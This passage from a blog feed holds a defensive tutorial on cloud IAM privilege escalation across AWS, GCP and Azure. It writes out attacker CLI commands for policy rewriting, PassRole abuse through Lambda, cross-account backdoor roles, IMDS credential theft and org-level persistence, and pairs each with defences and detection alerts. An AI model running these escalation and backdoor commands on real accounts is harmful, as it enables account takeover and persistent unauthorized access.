  └─────────────────────────────────────────────────────────────────┘
         │
         ▼
  ┌─────────────────────────────────────────────────────────────────┐
  │  PERSISTENCE (before incident response begins)                  │
  │  Create hidden IAM user · cross-account backdoor role          │
  │  Add personal account at org level (GCP)                       │
  │  These survive: password resets, key rotation, even            │
  │  deletion of the original compromised credential               │
  └─────────────────────────────────────────────────────────────────┘
         │
         ▼
  Impact: data exfiltration · destruction · ransomware · mining
</code></pre>
<p>AWS IAM privilege escalation follows a consistent pattern across almost every significant cloud breach: a limited initial credential, a chain of IAM permissions that expand access, and damage that&#8217;s proportional to how much room the IAM design gave the attacker to move. This episode maps the paths — as concrete techniques with specific permissions, because defending against them requires understanding exactly what they exploit.</p>
<hr />
<h2 id="introduction">Introduction</h2>
<p>AWS IAM privilege escalation turns misconfigured permissions into full account compromise — and the entry point is rarely the attack that matters. In 2019, Capital One suffered a breach that exposed over 100 million customer records. The attacker didn&#8217;t find a zero-day. They exploited an SSRF vulnerability in a web application firewall, reached the EC2 instance metadata service, retrieved temporary credentials for the instance&#8217;s IAM role, and found a role with <code class="" data-line="">sts:AssumeRole</code> permissions that let it assume a more powerful role. That more powerful role had access to S3 buckets containing customer data.</p>
<p>The SSRF got the attacker a foothold. The IAM design determined how far they could go.</p>
<p>This is the pattern across almost every significant cloud breach: a limited initial credential, followed by a privilege escalation path through IAM, followed by the actual damage. The damage is determined not by the sophistication of the initial compromise but by how much room the IAM configuration gives an attacker to move.</p>
<p>This episode maps the paths. Not as theory — as concrete techniques with specific permissions, because understanding exactly what an attacker can do with a specific IAM misconfiguration is the only way to prioritize what to fix. The defensive controls are listed alongside each path because that&#8217;s where they&#8217;re most useful.</p>
<hr />
<h2 id="the-attack-chain">The Attack Chain</h2>
<p>Most cloud account compromises follow a consistent pattern:</p>
<pre><code class="" data-line="">Initial Access
  (compromised credential — exposed access key, SSRF to IMDS,
   compromised developer workstation, phished IdP session)
    │
    ▼
Discovery
  (what am I? what can I do? what can I reach?)
    │
    ▼
Privilege Escalation
  (use existing permissions to gain more permissions)
    │
    ▼
Lateral Movement
  (access other accounts, services, resources)
    │
    ▼
Persistence
  (create backdoor identities that survive credential rotation)
    │
    ▼
Impact
  (data exfiltration, destruction, ransomware, crypto mining)
</code></pre>
<p>Understanding this chain tells you where to put defensive controls. You can cut the chain at any link. The earlier the better — but it&#8217;s better to have multiple cuts than to assume a single control holds.</p>
<hr />
<h2 id="phase-1-discovery-an-attackers-first-steps">Phase 1: Discovery — An Attacker&#8217;s First Steps</h2>
<p>The moment an attacker has any cloud credential, they enumerate. This is low-noise, uses only read permissions, and in many environments goes completely undetected:</p>
<pre><code class="" data-line=""># AWS: establish identity
aws sts get-caller-identity
# Returns: Account, UserId, Arn — tells the attacker what they&#039;re working with

# Enumerate attached policies
aws iam list-attached-user-policies --user-name alice
aws iam list-user-policies --user-name alice
aws iam list-groups-for-user --user-name alice
aws iam list-attached-role-policies --role-name LambdaRole

# Read the actual policy document
aws iam get-policy-version \
  --policy-arn arn:aws:iam::123456789012:policy/DevAccess \
  --version-id v1

# Survey what&#039;s accessible
aws s3 ls
aws ec2 describe-instances --output table
aws secretsmanager list-secrets
aws ssm describe-parameters
</code></pre>
<pre><code class="" data-line=""># GCP: establish identity and permissions
gcloud auth list
gcloud projects get-iam-policy PROJECT_ID --format=json | \
  jq &#039;.bindings[] | select(.members[] | contains(&quot;compromised-sa@project.iam.gserviceaccount.com&quot;))&#039;

# Test specific permissions
gcloud projects test-iam-permissions PROJECT_ID \
  --permissions=&quot;storage.objects.list,iam.roles.create,iam.serviceAccountKeys.create&quot;
</code></pre>
<pre><code class="" data-line=""># Azure: establish context
az account show
az role assignment list --assignee alice@company.com --all --output table
</code></pre>
<p>All of this is read-only. In most environments I&#8217;ve reviewed, there are no alerts on this activity unless the calls come from an unusual IP or at an unusual time. An attacker comfortable with the AWS CLI can map the permission surface of a compromised credential in 10–15 minutes.</p>
<hr />
<h2 id="aws-privilege-escalation-paths">AWS Privilege Escalation Paths</h2>
<h3 id="path-1-iamcreatepolicyversion">Path 1: iam:CreatePolicyVersion</h3>
<p>The most direct path. If a principal can create a new version of a policy attached to themselves, they can rewrite it to grant anything.</p>
<pre><code class="" data-line=""># Attacker has iam:CreatePolicyVersion on a policy attached to their own role
aws iam create-policy-version \
  --policy-arn arn:aws:iam::123456789012:policy/DevPolicy \
  --policy-document &#039;{
    &quot;Version&quot;: &quot;2012-10-17&quot;,
    &quot;Statement&quot;: [{&quot;Effect&quot;: &quot;Allow&quot;, &quot;Action&quot;: &quot;*&quot;, &quot;Resource&quot;: &quot;*&quot;}]
  }&#039; \
  --set-as-default
# Result: DevPolicy now grants AdministratorAccess to everyone with it attached
</code></pre>
<p>The attacker doesn&#8217;t need to create new infrastructure. They inject admin access directly into their existing permission set. This is often undetected by basic monitoring because <code class="" data-line="">CreatePolicyVersion</code> is a low-frequency legitimate operation.</p>
<p><strong>Defence:</strong> Alert on every <code class="" data-line="">CreatePolicyVersion</code> call. Restrict the permission to a dedicated break-glass IAM role. Use permissions boundaries on developer roles to cap the maximum permissions they can ever hold.</p>
<h3 id="path-2-iampassrole-service-creation">Path 2: iam:PassRole + Service Creation</h3>
<p><code class="" data-line="">iam:PassRole</code> allows an identity to assign an IAM role to an AWS service. This is legitimate and necessary — it&#8217;s how you configure &#8220;this Lambda function runs with this role.&#8221; The attack vector: if a more powerful role exists in the account, and the attacker can pass it to a service they control and invoke that service, they operate with the more powerful role&#8217;s permissions.</p>
<pre><code class="" data-line=""># Attacker has: lambda:CreateFunction + iam:PassRole + lambda:InvokeFunction
# They know an existing AdminRole exists (discovered during enumeration)

# Create a Lambda that runs with AdminRole
aws lambda create-function \
  --function-name exfil-fn \
  --runtime python3.12 \
  --role arn:aws:iam::123456789012:role/AdminRole \
  --handler index.handler \
  --zip-file fileb://payload.zip

# Invoke — code now executes with AdminRole&#039;s permissions
aws lambda invoke --function-name exfil-fn /tmp/output.json
</code></pre>
<pre><code class="" data-line="">import boto3

def handler(event, context):
    # Running as AdminRole
    s3 = boto3.client(&#039;s3&#039;)
    buckets = s3.list_buckets()

    # Create a backdoor access key while we have elevated access
    iam = boto3.client(&#039;iam&#039;)
    key = iam.create_access_key(UserName=&#039;backdoor-user&#039;)

    return {&quot;buckets&quot;: [b[&#039;Name&#039;] for b in buckets[&#039;Buckets&#039;]], &quot;key&quot;: key}
</code></pre>
<p><strong>Defence:</strong> Scope <code class="" data-line="">iam:PassRole</code> to specific role ARNs — never <code class="" data-line="">Resource: *</code>. Example:</p>
<pre><code class="" data-line="">{
  &quot;Effect&quot;: &quot;Allow&quot;,
  &quot;Action&quot;: &quot;iam:PassRole&quot;,
  &quot;Resource&quot;: &quot;arn:aws:iam::123456789012:role/LambdaExecutionRole-*&quot;
}
</code></pre>
<h3 id="path-3-iamcreaterole-iamattachrolepolicy">Path 3: iam:CreateRole + iam:AttachRolePolicy</h3>
<p>If an attacker can both create a role and attach policies to it, they create a backdoor identity:</p>
<pre><code class="" data-line=""># Create a role with a trust policy naming an attacker-controlled principal
aws iam create-role \
  --role-name BackdoorRole \
  --assume-role-policy-document &#039;{
    &quot;Version&quot;: &quot;2012-10-17&quot;,
    &quot;Statement&quot;: [{
      &quot;Effect&quot;: &quot;Allow&quot;,
      &quot;Principal&quot;: {&quot;AWS&quot;: &quot;arn:aws:iam::ATTACKER_ACCOUNT:root&quot;},
      &quot;Action&quot;: &quot;sts:AssumeRole&quot;
    }]
  }&#039;

# Attach AdministratorAccess
aws iam attach-role-policy \
  --role-name BackdoorRole \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# Assume it from the attacker&#039;s account — persistent cross-account access
aws sts assume-role \
  --role-arn arn:aws:iam::TARGET_ACCOUNT:role/BackdoorRole \
  --role-session-name persistent-access
</code></pre>
<p>This is persistence, not just escalation — the backdoor survives password resets, access key rotation, even deletion of the original compromised credential.</p>
<h3 id="path-4-iamupdateassumerolepolicy">Path 4: iam:UpdateAssumeRolePolicy</h3>
<p>If an existing high-privilege role already exists, modifying its trust policy to allow the attacker&#8217;s principal is faster and quieter than creating a new role:</p>
<pre><code class="" data-line=""># Add attacker&#039;s principal to the trust policy of an existing AdminRole
aws iam update-assume-role-policy \
  --role-name ExistingAdminRole \
  --policy-document &#039;{
    &quot;Version&quot;: &quot;2012-10-17&quot;,
    &quot;Statement&quot;: [
      {&quot;Effect&quot;: &quot;Allow&quot;, &quot;Principal&quot;: {&quot;Service&quot;: &quot;ec2.amazonaws.com&quot;}, &quot;Action&quot;: &quot;sts:AssumeRole&quot;},
      {&quot;Effect&quot;: &quot;Allow&quot;, &quot;Principal&quot;: {&quot;AWS&quot;: &quot;arn:aws:iam::123456789012:user/attacker&quot;}, &quot;Action&quot;: &quot;sts:AssumeRole&quot;}
    ]
  }&#039;
</code></pre>
<p>The original entry remains intact. A casual review might miss the addition. Trust policy changes should be critical-priority alerts.</p>
<h3 id="path-5-ssrf-to-ec2-instance-metadata">Path 5: SSRF to EC2 Instance Metadata</h3>
<p>The Capital One path. Any SSRF vulnerability in a web application running on EC2 can retrieve the instance role&#8217;s credentials from the metadata service:</p>
<pre><code class="" data-line="">Attacker → SSRF → GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
→ Returns role name
→ GET http://169.254.169.254/latest/meta-data/iam/security-credentials/MyAppRole
→ Returns: AccessKeyId, SecretAccessKey, Token (valid up to 6 hours)
</code></pre>
<p><strong>Defence:</strong> IMDSv2 requires a PUT request first, blocking simple GET-based SSRF:</p>
<pre><code class="" data-line=""># Enforce IMDSv2 at instance launch
aws ec2 run-instances \
  --metadata-options HttpTokens=required,HttpPutResponseHopLimit=1

# Enforce org-wide via SCP
{
  &quot;Effect&quot;: &quot;Deny&quot;,
  &quot;Action&quot;: &quot;ec2:RunInstances&quot;,
  &quot;Resource&quot;: &quot;arn:aws:ec2:*:*:instance/*&quot;,
  &quot;Condition&quot;: {
    &quot;StringNotEquals&quot;: {&quot;ec2:MetadataHttpTokens&quot;: &quot;required&quot;}
  }
}
</code></pre>
<h3 id="high-risk-aws-permissions-reference">High-Risk AWS Permissions Reference</h3>
<table>
<thead>
<tr>
<th>Permission</th>
<th>Why It&#8217;s Dangerous</th>
</tr>
</thead>
<tbody>
<tr>
<td><code class="" data-line="">iam:PassRole</code> with <code class="" data-line="">Resource: *</code></td>
<td>Assign any role to any service — enables immediate privilege escalation</td>
</tr>
<tr>
<td><code class="" data-line="">iam:CreatePolicyVersion</code></td>
<td>Rewrite any policy to grant anything — full account takeover in one API call</td>
</tr>
<tr>
<td><code class="" data-line="">iam:AttachRolePolicy</code></td>
<td>Attach AdministratorAccess to any role</td>
</tr>
<tr>
<td><code class="" data-line="">iam:UpdateAssumeRolePolicy</code></td>
<td>Add any principal to any role&#8217;s trust policy</td>
</tr>
<tr>
<td><code class="" data-line="">iam:CreateAccessKey</code> on other users</td>
<td>Create persistent credentials for any IAM user</td>
</tr>
<tr>
<td><code class="" data-line="">lambda:UpdateFunctionCode</code> on privileged Lambda</td>
<td>Inject malicious code into an elevated function</td>
</tr>
<tr>
<td><code class="" data-line="">secretsmanager:GetSecretValue</code> with <code class="" data-line="">Resource: *</code></td>
<td>Read every secret in the account</td>
</tr>
<tr>
<td><code class="" data-line="">ssm:GetParameter</code> with <code class="" data-line="">Resource: *</code></td>
<td>Read all Parameter Store values — often contains credentials</td>
</tr>
<tr>
<td><code class="" data-line="">iam:CreateRole</code> + <code class="" data-line="">iam:AttachRolePolicy</code></td>
<td>Create and arm a backdoor role</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="gcp-privilege-escalation-paths">GCP Privilege Escalation Paths</h2>
<h3 id="iamserviceaccountsactas">iam.serviceAccounts.actAs</h3>
<p>GCP&#8217;s equivalent of <code class="" data-line="">iam:PassRole</code> — and broader. Allows an identity to make any GCP service act as a specified service account:</p>
<pre><code class="" data-line=""># Attacker has iam.serviceAccounts.actAs on an admin SA
gcloud --impersonate-service-account=admin-sa@project.iam.gserviceaccount.com \
  iam roles list --project=my-project

# Generate a full access token and call any GCP API as admin-sa
gcloud auth print-access-token \
  --impersonate-service-account=admin-sa@project.iam.gserviceaccount.com
</code></pre>
<h3 id="iamserviceaccountkeyscreate">iam.serviceAccountKeys.create</h3>
<p>Converts a short-lived identity into a persistent one. Create a key for an admin service account and you have indefinite access:</p>
<pre><code class="" data-line="">gcloud iam service-accounts keys create admin-key.json \
  --iam-account=admin-sa@project.iam.gserviceaccount.com
# Valid until explicitly deleted — no expiry by default

# Block this at org level
gcloud org-policies set-policy --organization=ORG_ID - &lt;&lt; &#039;EOF&#039;
name: organizations/ORG_ID/policies/iam.disableServiceAccountKeyCreation
spec:
  rules:
    - enforce: true
EOF
</code></pre>
<hr />
<h2 id="azure-privilege-escalation-paths">Azure Privilege Escalation Paths</h2>
<h3 id="microsoftauthorizationroleassignmentswrite">Microsoft.Authorization/roleAssignments/write</h3>
<p>If an identity can write role assignments, it can grant itself Owner at any scope it can write to:</p>
<pre><code class="" data-line="">az role assignment create \
  --assignee attacker@company.com \
  --role &quot;Owner&quot; \
  --scope /subscriptions/SUB_ID
</code></pre>
<h3 id="managed-identity-assignment">Managed Identity Assignment</h3>
<p>Attach a high-privilege managed identity to a VM the attacker controls, then retrieve its token via IMDS:</p>
<pre><code class="" data-line="">az vm identity assign \
  --name attacker-vm --resource-group rg-attacker \
  --identities /subscriptions/SUB/resourcegroups/rg-prod/providers/\
Microsoft.ManagedIdentity/userAssignedIdentities/admin-identity

# From inside the VM
curl &#039;http://169.254.169.254/metadata/identity/oauth2/token\
?api-version=2018-02-01&amp;resource=https://management.azure.com/&#039; \
  -H &#039;Metadata: true&#039;
</code></pre>
<hr />
<h2 id="persistence-how-attackers-outlast-incident-response">Persistence — How Attackers Outlast Incident Response</h2>
<pre><code class="" data-line=""># AWS: hidden IAM user with admin access
aws iam create-user --user-name svc-backup-01
aws iam attach-user-policy \
  --user-name svc-backup-01 \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam create-access-key --user-name svc-backup-01
# Valid until manually deleted — survives key rotation on other identities

# AWS: cross-account backdoor — hardest to find during IR
aws iam create-role --role-name svc-monitoring-role \
  --assume-role-policy-document &#039;{
    &quot;Principal&quot;: {&quot;AWS&quot;: &quot;arn:aws:iam::ATTACKER_ACCOUNT:root&quot;},
    &quot;Action&quot;: &quot;sts:AssumeRole&quot;
  }&#039;
aws iam attach-role-policy --role-name svc-monitoring-role \
  --policy-arn arn:aws:iam::aws:policy/ReadOnlyAccess

# GCP: add personal account at org level — survives project deletion
gcloud organizations add-iam-policy-binding ORG_ID \
  --member=&quot;user:attacker@gmail.com&quot; --role=&quot;roles/owner&quot;
</code></pre>
<p>Cross-account backdoors are particularly resilient — incident responders often focus on the compromised account without auditing trust relationships with external accounts.</p>
<hr />
<h2 id="detection-what-to-alert-on">Detection — What to Alert On</h2>
<table>
<thead>
<tr>
<th>Activity</th>
<th>Event to Watch</th>
<th>Priority</th>
</tr>
</thead>
<tbody>
<tr>
<td>Role trust policy modified</td>
<td><code class="" data-line="">UpdateAssumeRolePolicy</code></td>
<td>Critical</td>
</tr>
<tr>
<td>New IAM user created</td>
<td><code class="" data-line="">CreateUser</code></td>
<td>High</td>
</tr>
<tr>
<td>Policy version created</td>
<td><code class="" data-line="">CreatePolicyVersion</code></td>
<td>High</td>
</tr>
<tr>
<td>Policy attached to role</td>
<td><code class="" data-line="">AttachRolePolicy</code>, <code class="" data-line="">PutRolePolicy</code></td>
<td>High</td>
</tr>
<tr>
<td>SA key created (GCP)</td>
<td><code class="" data-line="">google.iam.admin.v1.CreateServiceAccountKey</code></td>
<td>High</td>
</tr>
<tr>
<td>Role assignment at subscription scope (Azure)</td>
<td><code class="" data-line="">roleAssignments/write</code> at <code class="" data-line="">/subscriptions/</code></td>
<td>Critical</td>
</tr>
<tr>
<td>CloudTrail logging disabled</td>
<td><code class="" data-line="">StopLogging</code>, <code class="" data-line="">DeleteTrail</code></td>
<td>Critical</td>
</tr>
<tr>
<td><code class="" data-line="">GetSecretValue</code> at unusual hours</td>
<td><code class="" data-line="">secretsmanager:GetSecretValue</code></td>
<td>Medium</td>
</tr>
</tbody>
</table>
<p>IAM events are low-volume in most accounts. That makes anomaly detection straightforward — a spike in IAM API calls outside business hours from an unusual principal is a strong signal. Configure the critical-priority events as real-time alerts, not just logged events.</p>
<hr />
<h2 id="production-gotchas"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Production Gotchas</h2>
<pre><code class="" data-line="">╔══════════════════════════════════════════════════════════════════════╗
║  &#x26a0;  GOTCHA 1 — &quot;We have SCPs, so individual role permissions       ║
║       don&#039;t matter as much&quot;                                          ║
║                                                                      ║
║  SCPs set the ceiling. If an SCP allows iam:PassRole, any role      ║
║  with that permission can exploit it regardless of how &quot;scoped&quot;     ║
║  the SCP looks. SCPs and role-level permissions both need to be     ║
║  reviewed — they are independent layers.                            ║
╚══════════════════════════════════════════════════════════════════════╝

╔══════════════════════════════════════════════════════════════════════╗
║  &#x26a0;  GOTCHA 2 — Permissions boundary doesn&#039;t stop iam:PassRole     ║
║                                                                      ║
║  A permissions boundary caps what a role can do directly. It does   ║
║  NOT prevent that role from passing a more powerful role to a       ║
║  Lambda or EC2. iam:PassRole escalation bypasses the boundary       ║
║  because the attacker is operating through the service, not         ║
║  directly through the bounded role.                                 ║
║                                                                      ║
║  Fix: scope iam:PassRole to specific ARNs regardless of whether     ║
║  a permissions boundary is in place.                                ║
╚══════════════════════════════════════════════════════════════════════╝

╔══════════════════════════════════════════════════════════════════════╗
║  &#x26a0;  GOTCHA 3 — CloudTrail doesn&#039;t log data plane events by default ║
║                                                                      ║
║  S3 object reads (GetObject), Secrets Manager reads (GetSecretValue)║
║  and SSM GetParameter are data events — not logged by CloudTrail   ║
║  unless you explicitly enable Data Events. An attacker exfiltrating ║
║  data via these calls leaves no trace in a default CloudTrail       ║
║  configuration.                                                      ║
║                                                                      ║
║  Fix: enable S3 and Lambda data events in CloudTrail. At minimum    ║
║  enable logging for secretsmanager:GetSecretValue.                  ║
╚══════════════════════════════════════════════════════════════════════╝
</code></pre>
<hr />
<h2 id="quick-reference">Quick Reference</h2>
<pre><code class="" data-line="">┌──────────────────────────────────┬──────────────────────────────────────────────────────┐
│ Permission                       │ Escalation Path                                      │
├──────────────────────────────────┼──────────────────────────────────────────────────────┤
│ iam:CreatePolicyVersion          │ Rewrite your own policy to grant *:*                 │
│ iam:PassRole (Resource: *)       │ Assign AdminRole to a Lambda/EC2 you control         │
│ iam:CreateRole+AttachRolePolicy  │ Create and arm a backdoor cross-account role         │
│ iam:UpdateAssumeRolePolicy       │ Hijack existing admin role&#039;s trust policy            │
│ iam.serviceAccounts.actAs (GCP)  │ Impersonate any service account including admins     │
│ iam.serviceAccountKeys.create    │ Generate permanent key for any SA                    │
│ roleAssignments/write (Azure)    │ Assign Owner to yourself at subscription scope       │
└──────────────────────────────────┴──────────────────────────────────────────────────────┘

Defensive commands:
┌────────────────────────────────────────────────────────────────────────────────────────┐
│  # AWS — find all roles with iam:PassRole on Resource: *                              │
│  aws iam list-policies --scope Local --query &#039;Policies[*].Arn&#039; --output text | \     │
│    xargs -I{} aws iam get-policy-version \                                            │
│      --policy-arn {} --version-id v1 --query &#039;PolicyVersion.Document&#039;                │
│                                                                                        │
│  # AWS — check who can assume a given role                                            │
│  aws iam get-role --role-name AdminRole \                                             │
│    --query &#039;Role.AssumeRolePolicyDocument&#039;                                            │
│                                                                                        │
│  # AWS — simulate whether a principal can CreatePolicyVersion                        │
│  aws iam simulate-principal-policy \                                                  │
│    --policy-source-arn arn:aws:iam::ACCOUNT:role/DevRole \                           │
│    --action-names iam:CreatePolicyVersion \                                           │
│    --resource-arns arn:aws:iam::ACCOUNT:policy/DevPolicy                             │
│                                                                                        │
│  # GCP — check who has actAs on a service account                                    │
│  gcloud iam service-accounts get-iam-policy SA_EMAIL \                               │
│    --format=json | jq &#039;.bindings[] | select(.role==&quot;roles/iam.serviceAccountUser&quot;)&#039;  │
│                                                                                        │
│  # GCP — list service account keys (find persistent backdoors)                       │
│  gcloud iam service-accounts keys list --iam-account=SA_EMAIL                        │
│                                                                                        │
│  # Azure — list all role assignments at subscription scope                           │
│  az role assignment list --scope /subscriptions/SUB_ID --output table                │
└────────────────────────────────────────────────────────────────────────────────────────┘
</code></pre>
<hr />
<h2 id="framework-alignment">Framework Alignment</h2>
<table>
<thead>
<tr>
<th>Framework</th>
<th>Reference</th>
<th>What It Covers Here</th>
</tr>
</thead>
<tbody>
<tr>
<td>CISSP</td>
<td>Domain 6 — Security Assessment and Testing</td>
<td>IAM attack paths are the foundation of cloud penetration testing and access review methodology</td>
</tr>
<tr>
<td>CISSP</td>
<td>Domain 5 — Identity and Access Management</td>
<td>Defensive IAM design requires understanding offensive technique — you cannot protect paths you don&#8217;t know exist</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>8.8 Management of technical vulnerabilities</td>
<td>IAM misconfigurations are technical vulnerabilities — identifying and remediating privilege escalation paths</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>8.16 Monitoring activities</td>
<td>Detection signals and alerting on IAM mutations as part of continuous monitoring</td>
</tr>
<tr>
<td>SOC 2</td>
<td>CC7.1</td>
<td>Threat and vulnerability identification — this episode maps the threat model for cloud IAM</td>
</tr>
<tr>
<td>SOC 2</td>
<td>CC6.1</td>
<td>Understanding attack paths informs the design of logical access controls that actually hold</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>Cloud breaches are IAM events — the initial compromise is just the door; IAM misconfigurations determine how far an attacker can go</li>
<li><code class="" data-line="">iam:PassRole</code> with <code class="" data-line="">Resource: *</code> is AWS&#8217;s highest-risk single permission — scope it to specific role ARNs or the escalation paths multiply</li>
<li><code class="" data-line="">iam:CreatePolicyVersion</code> and <code class="" data-line="">iam:UpdateAssumeRolePolicy</code> are privilege escalation and persistence primitives — restrict them to dedicated admin roles</li>
<li><code class="" data-line="">iam.serviceAccounts.actAs</code> in GCP and <code class="" data-line="">roleAssignments/write</code> in Azure are direct equivalents — same threat model, cloud-specific syntax</li>
<li>Enforce IMDSv2 on EC2; disable SA key creation org-wide in GCP; restrict role assignment scope in Azure</li>
<li>Enable CloudTrail Data Events — default logging misses S3 reads, Secrets Manager reads, and SSM GetParameter calls entirely</li>
<li>Alert on IAM mutations — low-volume, high-signal events that should never go unmonitored</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>You now know how attackers move through misconfigured IAM. <a href="/iam-least-privilege-audit/">AWS least privilege audit</a> is the defensive counterpart — using Access Analyzer, GCP IAM Recommender, and Azure Access Reviews to find and right-size over-permissioned access before an attacker does. The goal: get from wildcard policies to scoped, auditable permissions without breaking production.</p>
<p><em>Next: <a href="/iam-least-privilege-audit/">AWS Least Privilege Audit: From Wildcard Permissions to Scoped Policies</a></em></p>
<p>Get EP09 in your inbox when it publishes → <a href="https://linuxcent.com/subscribe">linuxcent.com/subscribe</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-iam-privilege-escalation%2F&amp;linkname=AWS%20IAM%20Privilege%20Escalation%3A%20How%20iam%3APassRole%20Leads%20to%20Full%20Compromise" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-iam-privilege-escalation%2F&amp;linkname=AWS%20IAM%20Privilege%20Escalation%3A%20How%20iam%3APassRole%20Leads%20to%20Full%20Compromise" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-iam-privilege-escalation%2F&amp;linkname=AWS%20IAM%20Privilege%20Escalation%3A%20How%20iam%3APassRole%20Leads%20to%20Full%20Compromise" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-iam-privilege-escalation%2F&amp;linkname=AWS%20IAM%20Privilege%20Escalation%3A%20How%20iam%3APassRole%20Leads%20to%20Full%20Compromise" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-iam-privilege-escalation%2F&amp;linkname=AWS%20IAM%20Privilege%20Escalation%3A%20How%20iam%3APassRole%20Leads%20to%20Full%20Compromise" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-iam-privilege-escalation%2F&amp;linkname=AWS%20IAM%20Privilege%20Escalation%3A%20How%20iam%3APassRole%20Leads%20to%20Full%20Compromise" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-iam-privilege-escalation%2F&amp;linkname=AWS%20IAM%20Privilege%20Escalation%3A%20How%20iam%3APassRole%20Leads%20to%20Full%20Compromise" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fcloud-iam-privilege-escalation%2F&#038;title=AWS%20IAM%20Privilege%20Escalation%3A%20How%20iam%3APassRole%20Leads%20to%20Full%20Compromise" data-a2a-url="https://linuxcent.com/cloud-iam-privilege-escalation/" data-a2a-title="AWS IAM Privilege Escalation: How iam:PassRole Leads to Full Compromise"></a></p><p>The post <a href="https://linuxcent.com/cloud-iam-privilege-escalation/">AWS IAM Privilege Escalation: How iam:PassRole Leads to Full Compromise</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/cloud-iam-privilege-escalation/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1495</post-id>	</item>
		<item>
		<title>AWS IAM Deep Dive: Users, Groups, Roles, and Policies Explained</title>
		<link>https://linuxcent.com/aws-iam-deep-dive/</link>
					<comments>https://linuxcent.com/aws-iam-deep-dive/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Tue, 14 Apr 2026 05:08:27 +0000</pubDate>
				<category><![CDATA[Cloud IAM]]></category>
		<category><![CDATA[AWS]]></category>
		<category><![CDATA[AWS IAM]]></category>
		<category><![CDATA[AWS Identity Center]]></category>
		<category><![CDATA[Cloud Security]]></category>
		<category><![CDATA[Cross Account Access]]></category>
		<category><![CDATA[IAM]]></category>
		<category><![CDATA[IAM Roles]]></category>
		<category><![CDATA[SCP]]></category>
		<guid isPermaLink="false">https://linuxcent.com/aws-iam-deep-dive/</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 11</span> <span class="rt-label rt-postfix">minutes</span></span>Complete AWS IAM guide: users, groups, roles, trust policies, SCPs, permissions boundaries, cross-account access, and IAM Identity Center for production environments.</p>
<p>The post <a href="https://linuxcent.com/aws-iam-deep-dive/">AWS IAM Deep Dive: Users, Groups, Roles, and Policies Explained</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 11</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
